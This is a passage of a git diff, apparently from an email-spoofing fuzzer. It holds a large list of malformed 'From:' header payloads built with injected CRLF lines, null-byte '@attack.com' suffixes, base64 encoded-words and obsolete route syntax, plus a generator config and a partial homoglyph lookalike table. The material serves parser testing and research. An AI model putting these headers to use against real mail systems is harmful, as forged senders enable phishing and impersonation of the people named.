\r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + "From:,(hi),(\r\n)\r\n", + "From: wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGdtYWlsLmNvbSxhZG1pbkBnbWFpbC5jb20sa2V5QHFxLmNvbSxockBxcS5jb20saHJAbXNuLmNvbSxrZXlAZm94bWFpbC5jb20sYWRtaW5AcXEuY29tLHdlYm1hc3RlckB0b3AuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQHNvaHUuY29tPix3b3JkPEBhLmNvbTpAYi5jb206a2V5QGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTpBbGljZUBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", + " From:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From: <=?utf-8?RnJvbTpCb2JAbXNuLmNvbSxNaWtlQDEyNi5jb20sd29yZDxhdHRhY2tlckAxMzkuY29tPihjb21tZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+KGNvbW0NCmVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTooaGkpPGhyQGdtYWlsLmNvbT4oaGkpLDxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGdtYWlsLmNvbT4oKQ0K=?=>\u0000@attack.com", + "From :attacker@gmail.com,Mike@ymail.com.cn\r\n", + "From: \r\nFrom:Bob@139.com,hr@china.com\r\n", + "From: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + " Fromÿ: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + " Fromÿ: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", + "From :,hr@126.com,(hi)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sa2V5QG91dGxvb2suY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>", + "From :,(\r\n),hr@aliyun.com,\r\n", + "From: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", + "From: \r\nFrom:,Alice@top.com\r\n", + "From :admin@qq.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLGFkbWluQG1zbi5jb20NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(comm\r\nent)\r\n", + " From:()(comment)\r\n", + " FrOM: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + "From: ,(\r\n)\r\n", + "From :security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxNjMuY29tPg0K=?=>", + "From:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From:wordword(),wordwordword(comm\r\nent)\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + " FrOM: \r\nFrom:(),Mike@139.com,\r\n", + "From:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + "From:hr@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:key@icloud.com\r\n", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHltYWlsLmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:(hi),admin@msn.com\r\n", + "From: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + "From :word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", + " From: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzaW5hLmNuPigNCikNCg===?=>\u0000@attack.com", + " From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + " Fromÿ: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", + "From: \r\nFrom:key@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tLChjb21tDQplbnQpPGhyQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", + " Fromÿ: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxrZXlAbGl2ZS5jb20+KA0KKQ0K=?=>", + " FrOM: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>", + "From: \r\nFrom:,Mike@icloud.com\r\n", + " FrOM: \r\nFrom:(),Bob@qq.com\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + " From:hr@aliyun.com\r\n", + "From:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + "From: \r\nFrom:()(comment)\r\n", + "From: wordwordword(comment)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:key@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tLChjb21tDQplbnQpPGhyQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>", + " From:(comm\r\nent),,key@aliyun.com,,\r\n", + "From: ,hr@126.com,(hi)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + "From :wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", + "From :()\r\n", + "From: (comm\r\nent)\r\n", + " From: \r\nFrom:hr@foxmail.com,,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AaG90bWFpbC5jb20+LA0K=?=>", + " Fromÿ: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From: word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + " From: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + " From: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206YWRtaW5AZm94bWFpbC5jb20+KCksPEBnbWFpbC5jb206QGIuY29tOmtleUBmb3htYWlsLmNvbT4oDQopLDxAYS5jb206QGIuY29tOk1pa2VAeW1haWwuY29tLmNuPigpLChjb21tDQplbnQpPEFsaWNlQHFxLmNvbT4NCg===?=>\u0000@attack.com", + "From: ,,,\r\n", + " From:(comm\r\nent),key@sohu.com\r\n", + "From:security@sina.com\r\n", + "From: webmaster@sina.com\r\n", + " From: \r\nFrom:,()(comment),(\r\n)\r\n", + " Fromÿ: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>", + "From:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + " Fromÿ: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", + "From: \r\nFrom:attacker@sohu.com\r\n", + "From:<@qq.com:@163.com:Alice@sohu.com>\r\n", + " Fromÿ: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + " FrOM: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QWxpY2VAc29odS5jb20+KCkNCg===?=>\u0000@attack.com", + "From :word(\r\n)()\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTI2LmNvbT4oaGkpLGFkbWluQGljbG91ZC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From:security@china.com,,\r\n", + " From: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", + "From: ,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + " From:word<@qq.com:@163.com:key@126.com>\r\n", + "From :,(comment),key@qq.com,(hi)\r\n", + " Fromÿ: \r\nFrom:,hr@aliyun.com\r\n", + " FrOM: \r\nFrom:attacker@126.com\r\n", + "From: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + " From: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLGtleUBxcS5jb20sKGhpKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:attacker@outlook.com\r\n", + "From: ,key@139.com,,(hi),,(),\r\n", + "From: <=?utf-8?RnJvbTooKSxrZXlAaWNsb3VkLmNvbSwsPEFsaWNlQG91dGxvb2suY29tPiwNCg===?=>\u0000@attack.com", + " From: \r\nFrom:security@sina.com\r\n", + "From: (hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + " From: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", + "From: (hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + "From:Mike@msn.com\r\n", + " From: \r\nFrom:key@sohu.com\r\n", + " Fromÿ: \r\nFrom:security@126.com\r\n", + "From :word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", + "From :(comm\r\nent)(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpLjxockBjaGluYS5jb20+KGhpKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + " From: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", + "From:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + " FrOM: \r\nFrom:key@icloud.com\r\n", + " From:Mike@msn.com\r\n", + " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + " From:attacker@163.com\r\n", + " From:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + " From:,(comment),(),word..(hi)\r\n", + " Fromÿ: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + "From:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + "From: (hi),(comm\r\nent),word().(\r\n)\r\n", + "From: wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From:webmaster@sina.com,Mike@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:word(\r\n)()\r\n", + "From: \r\nFrom:key@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBtc24uY29tPigNCiksTWlrZUBxcS5jb20sQWxpY2VAMTYzLmNvbSwoY29tbQ0KZW50KTxockB0b3AuY29tPigpLGtleUBpY2xvdWQuY29tDQo==?=>", + "From: (comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + "From: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + "From: (comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + "From:word(hi)(comm\r\nent)\r\n", + "From:admin@163.com,attacker@hotmail.com\r\n", + " Fromÿ: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + "From:(\r\n),admin@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sc2VjdXJpdHlAc29odS5jb20NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:hr@sohu.com\r\n", + "From: key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + " From: \r\nFrom:Bob@139.com,hr@china.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAcXEuY29tLGFkbWluQHRvcC5jb20sDQo==?=>", + " FrOM: \r\nFrom:,key@139.com,,(hi),,(),\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", + " From:,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZ21haWwuY29tPigNCikNCg===?=>", + " FrOM: \r\nFrom:Mike@foxmail.com\r\n", + "From: (comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + " From: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", + " Fromÿ: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", + "From:Alice@outlook.com\r\n", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHNlY3VyaXR5QHNpbmEuY29tLCx3b3Jkd29yZHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGdtYWlsLmNvbT4oaGkpLCgpPGhyQGNoaW5hLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + " FrOM: \r\nFrom:wordword\r\n", + "From:Bob@139.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSxockBjaGluYS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sQm9iQDEzOS5jb20sd29yZDxrZXlAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksc2VjdXJpdHlAZm94bWFpbC5jb20sLGhyQHNpbmEuY24sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From:()\r\n", + "From :key@outlook.com,(comm\r\nent)\r\n", + " FrOM: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + " From: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + " From: \r\nFrom:attacker@126.com\r\n", + "From: <=?utf-8?RnJvbTosd29yZCgNCik8aHJAYWxpeXVuLmNvbT4sLCgpLGtleUB5bWFpbC5jb20uY24sKCkNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + "From: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + "From: Bob@sohu.com,security@sohu.com\r\n", + "From:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + "From:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + " From:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From :Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + "From: wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAZm94bWFpbC5jb20+LGF0dGFja2VyQGhvdG1haWwuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBhbGl5dW4uY29tPixhdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", + "From: ,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + " From: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB0b3AuY29tPg0K=?=>\u0000@attack.com", + " From: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n" +] \ No newline at end of file diff --git a/config/rule.json b/config/rule.json new file mode 100755 index 0000000..186914f --- /dev/null +++ b/config/rule.json @@ -0,0 +1,52 @@ +{ + "local-part": [ + "admin", + "security", + "key", + "attacker", + "Alice", + "Bob", + "Mike", + "webmaster", + "hr" + ], + "domain": [ + "aliyun.com", + "gmail.com", + "sina.com", + "top.com", + "163.com", + "126.com", + "ymail.com", + "ymail.com.cn", + "foxmail.com", + "qq.com", + "sohu.com", + "hotmail.com", + "139.com", + "china.com", + "outlook.com", + "icloud.com", + "live.com", + "msn.com", + "sina.cn" + ], + "obs-domain-list": [ + "@a.com:@b.com", + "@qq.com:@163.com", + "@gmail.com:@b.com" + ], + "CFWS": [ + "(comment)", + "()", + "(hi)", + "(comm\r\nent)", + "(\r\n)" + ], + "word": [ + "word" + ], + "atom": [ + "atom" + ] +} \ No newline at end of file diff --git a/config/similar.txt b/config/similar.txt new file mode 100755 index 0000000..69bd211 --- /dev/null +++ b/config/similar.txt @@ -0,0 +1,1847 @@ +A 0041 +Α 0391 +А 0410 +Ꭺ 13AA +ᗅ 15C5 +ꓮ A4EE +𐊠 102A0 +𖽀 16F40 +A FF21 +𝐀 1D400 +𝐴 1D434 +𝑨 1D468 +𝒜 1D49C +𝓐 1D4D0 +𝔄 1D504 +𝔸 1D538 +𝕬 1D56C +𝖠 1D5A0 +𝗔 1D5D4 +𝘈 1D608 +𝘼 1D63C +𝙰 1D670 +𝚨 1D6A8 +𝛢 1D6E2 +𝜜 1D71C +𝝖 1D756 +𝞐 1D790 +AA 0041 +Ꜳ A732 +AE 0041 +Æ 00C6 +Ӕ 04D4 +AO 0041 +Ꜵ A734 +AR 0041 +🜇 1F707 +AU 0041 +Ꜷ A736 +AV 0041 +Ꜹ A738 +Ꜻ A73A +AY 0041 +Ꜽ A73C +B 0042 +Β 0392 +В 0412 +Ᏼ 13F4 +ᗷ 15F7 +ꓐ A4D0 +𐊂 10282 +𐊡 102A1 +𐌁 10301 +Ꞵ A7B4 +B FF22 +ℬ 212C +𝐁 1D401 +𝐵 1D435 +𝑩 1D469 +𝓑 1D4D1 +𝔅 1D505 +𝔹 1D539 +𝕭 1D56D +𝖡 1D5A1 +𝗕 1D5D5 +𝘉 1D609 +𝘽 1D63D +𝙱 1D671 +𝚩 1D6A9 +𝛣 1D6E3 +𝜝 1D71D +𝝗 1D757 +𝞑 1D791 +C 0043 +С 0421 +Ꮯ 13DF +Ⲥ 2CA4 +ꓚ A4DA +𐊢 102A2 +𐌂 10302 +𐐕 10415 +🝌 1F74C +𐔜 1051C +𑣩 118E9 +𑣲 118F2 +Ⅽ 216D +C FF23 +Ϲ 03F9 +ℂ 2102 +ℭ 212D +𝐂 1D402 +𝐶 1D436 +𝑪 1D46A +𝒞 1D49E +𝓒 1D4D2 +𝕮 1D56E +𝖢 1D5A2 +𝗖 1D5D6 +𝘊 1D60A +𝘾 1D63E +𝙲 1D672 +C' 0043 +Cʽ 0043 +Ƈ 0187 +C̦ 0043 +С̦ 0421 +С̡ 0421 +Ҫ 04AA +Ç 00C7 +C⃫ 0043 +₡ 20A1 +D 0044 +Ꭰ 13A0 +ᗞ 15DE +ᗪ 15EA +ꓓ A4D3 +Ⅾ 216E +ⅅ 2145 +𝐃 1D403 +𝐷 1D437 +𝑫 1D46B +𝒟 1D49F +𝓓 1D4D3 +𝔇 1D507 +𝔻 1D53B +𝕯 1D56F +𝖣 1D5A3 +𝗗 1D5D7 +𝘋 1D60B +𝘿 1D63F +𝙳 1D673 +DZ 0044 +DZ 01F1 +Dz 0044 +Dz 01F2 +DŽ 0044 +DŽ 01C4 +Dž 0044 +Dž 01C5 +D̵ 0044 +Ð 00D0 +Đ 0110 +Ɖ 0189 +E 0045 +Ε 0395 +Е 0415 +Ꭼ 13AC +ⴹ 2D39 +ꓰ A4F0 +𐊆 10286 +⋿ 22FF +𑢦 118A6 +𑢮 118AE +E FF25 +ℰ 2130 +𝐄 1D404 +𝐸 1D438 +𝑬 1D46C +𝓔 1D4D4 +𝔈 1D508 +𝔼 1D53C +𝕰 1D570 +𝖤 1D5A4 +𝗘 1D5D8 +𝘌 1D60C +𝙀 1D640 +𝙴 1D674 +𝚬 1D6AC +𝛦 1D6E6 +𝜠 1D720 +𝝚 1D75A +𝞔 1D794 +E̸ 0045 +Ɇ 0246 +F 0046 +Ϝ 03DC +ᖴ 15B4 +ꓝ A4DD +𐊇 10287 +𐊥 102A5 +𝈓 1D213 +Ꞙ A798 +𐔥 10525 +𑢢 118A2 +𑣂 118C2 +ℱ 2131 +𝐅 1D405 +𝐹 1D439 +𝑭 1D46D +𝓕 1D4D5 +𝔉 1D509 +𝔽 1D53D +𝕱 1D571 +𝖥 1D5A5 +𝗙 1D5D9 +𝘍 1D60D +𝙁 1D641 +𝙵 1D675 +𝟊 1D7CA +FAX 0046 +℻ 213B +F̡ 0046 +F̦ 0046 +Ƒ 0191 +G 0047 +Ԍ 050C +Ꮐ 13C0 +Ᏻ 13F3 +ꓖ A4D6 +𝐆 1D406 +𝐺 1D43A +𝑮 1D46E +𝒢 1D4A2 +𝓖 1D4D6 +𝔊 1D50A +𝔾 1D53E +𝕲 1D572 +𝖦 1D5A6 +𝗚 1D5DA +𝘎 1D60E +𝙂 1D642 +𝙶 1D676 +G' 0047 +Gʽ 0047 +Ɠ 0193 +G̵ 0047 +Ǥ 01E4 +H 0048 +Η 0397 +Н 041D +Ꮋ 13BB +ᕼ 157C +Ⲏ 2C8E +ꓧ A4E7 +𐋏 102CF +H FF28 +ℋ 210B +ℌ 210C +ℍ 210D +𝐇 1D407 +𝐻 1D43B +𝑯 1D46F +𝓗 1D4D7 +𝕳 1D573 +𝖧 1D5A7 +𝗛 1D5DB +𝘏 1D60F +𝙃 1D643 +𝙷 1D677 +𝚮 1D6AE +𝛨 1D6E8 +𝜢 1D722 +𝝜 1D75C +𝞖 1D796 +H̦ 0048 +Н̦ 041D +Н̡ 041D +Ӈ 04C7 +Ӊ 04C9 +H̩ 0048 +Н̩ 041D +Ⱨ 2C67 +Ң 04A2 +H̵ 0048 +Ħ 0126 +III 0049 +lll 006C +Ⅲ 2162 +IJ 0049 +lJ 006C +IJ 0132 +IO 0049 +lO 006C +Ю 042E +IV 0049 +lV 006C +Ⅳ 2163 +IX 0049 +lX 006C +Ⅸ 2168 +I̵ 0049 +l̵ 006C +Ɨ 0197 +ƚ 019A +I̵I̵ 0049 +l̵l̵ 006C +I̶I̶ 0049 +𐆙 10199 +I̵I̵S̵ 0049 +l̵l̵S̵ 006C +I̶I̶S̶ 0049 +𐆘 10198 +J 004A +Ј 0408 +Ꭻ 13AB +ᒍ 148D +ꓙ A4D9 +Ϳ 037F +Ʝ A7B2 +J FF2A +𝐉 1D409 +𝐽 1D43D +𝑱 1D471 +𝒥 1D4A5 +𝓙 1D4D9 +𝔍 1D50D +𝕁 1D541 +𝕵 1D575 +𝖩 1D5A9 +𝗝 1D5DD +𝘑 1D611 +𝙅 1D645 +𝙹 1D679 +J· 004A +Ꭻ· 13AB +ᒍ· 148D +ᒍᐧ 148D +ᒙ 1499 +J̵ 004A +Ɉ 0248 +K 004B +Κ 039A +К 041A +Ꮶ 13E6 +ᛕ 16D5 +Ⲕ 2C94 +ꓗ A4D7 +𐔘 10518 +K 212A +K FF2B +𝐊 1D40A +𝐾 1D43E +𝑲 1D472 +𝒦 1D4A6 +𝓚 1D4DA +𝔎 1D50E +𝕂 1D542 +𝕶 1D576 +𝖪 1D5AA +𝗞 1D5DE +𝘒 1D612 +𝙆 1D646 +𝙺 1D67A +𝚱 1D6B1 +𝛫 1D6EB +𝜥 1D725 +𝝟 1D75F +𝞙 1D799 +K' 004B +Kʽ 004B +Ƙ 0198 +K̩ 004B +К̩ 041A +Ⱪ 2C69 +Қ 049A +K̵ 004B +K̶ 004B +К̵ 041A +Ꝁ A740 +Ҟ 049E +₭ 20AD +L 004C +Ꮮ 13DE +ᒪ 14AA +Ⳑ 2CD0 +ꓡ A4E1 +𐐛 1041B +𖼖 16F16 +𝈪 1D22A +𐔦 10526 +𑢣 118A3 +𑢲 118B2 +Ⅼ 216C +ℒ 2112 +𝐋 1D40B +𝐿 1D43F +𝑳 1D473 +𝓛 1D4DB +𝔏 1D50F +𝕃 1D543 +𝕷 1D577 +𝖫 1D5AB +𝗟 1D5DF +𝘓 1D613 +𝙇 1D647 +𝙻 1D67B +LJ 004C +LJ 01C7 +Lj 004C +Lj 01C8 +L̷ 004C +L̸ 004C +Ł 0141 +M 004D +Μ 039C +М 041C +Ϻ 03FA +Ꮇ 13B7 +ᗰ 15F0 +ᛖ 16D6 +Ⲙ 2C98 +ꓟ A4DF +𐊰 102B0 +𐌑 10311 +Ⅿ 216F +M FF2D +ℳ 2133 +𝐌 1D40C +𝑀 1D440 +𝑴 1D474 +𝓜 1D4DC +𝔐 1D510 +𝕄 1D544 +𝕸 1D578 +𝖬 1D5AC +𝗠 1D5E0 +𝘔 1D614 +𝙈 1D648 +𝙼 1D67C +𝚳 1D6B3 +𝛭 1D6ED +𝜧 1D727 +𝝡 1D761 +𝞛 1D79B +MB 004D +🝫 1F76B +M̦ 004D +М̦ 041C +М̡ 041C +Ӎ 04CD +N 004E +Ν 039D +Ⲛ 2C9A +ꓠ A4E0 +𐔓 10513 +N FF2E +ℕ 2115 +𝐍 1D40D +𝑁 1D441 +𝑵 1D475 +𝒩 1D4A9 +𝓝 1D4DD +𝔑 1D511 +𝕹 1D579 +𝖭 1D5AD +𝗡 1D5E1 +𝘕 1D615 +𝙉 1D649 +𝙽 1D67D +𝚴 1D6B4 +𝛮 1D6EE +𝜨 1D728 +𝝢 1D762 +𝞜 1D79C +NJ 004E +NJ 01CA +Nj 004E +Nj 01CB +No 004E +№ 2116 +N̊ 004E +Ν̊ 039D +Νͦ 039D +𐆎 1018E +N̡ 004E +N̦ 004E +Ɲ 019D +O' 004F +Oʼ 004F +Ꭴ 13A4 +Ơ 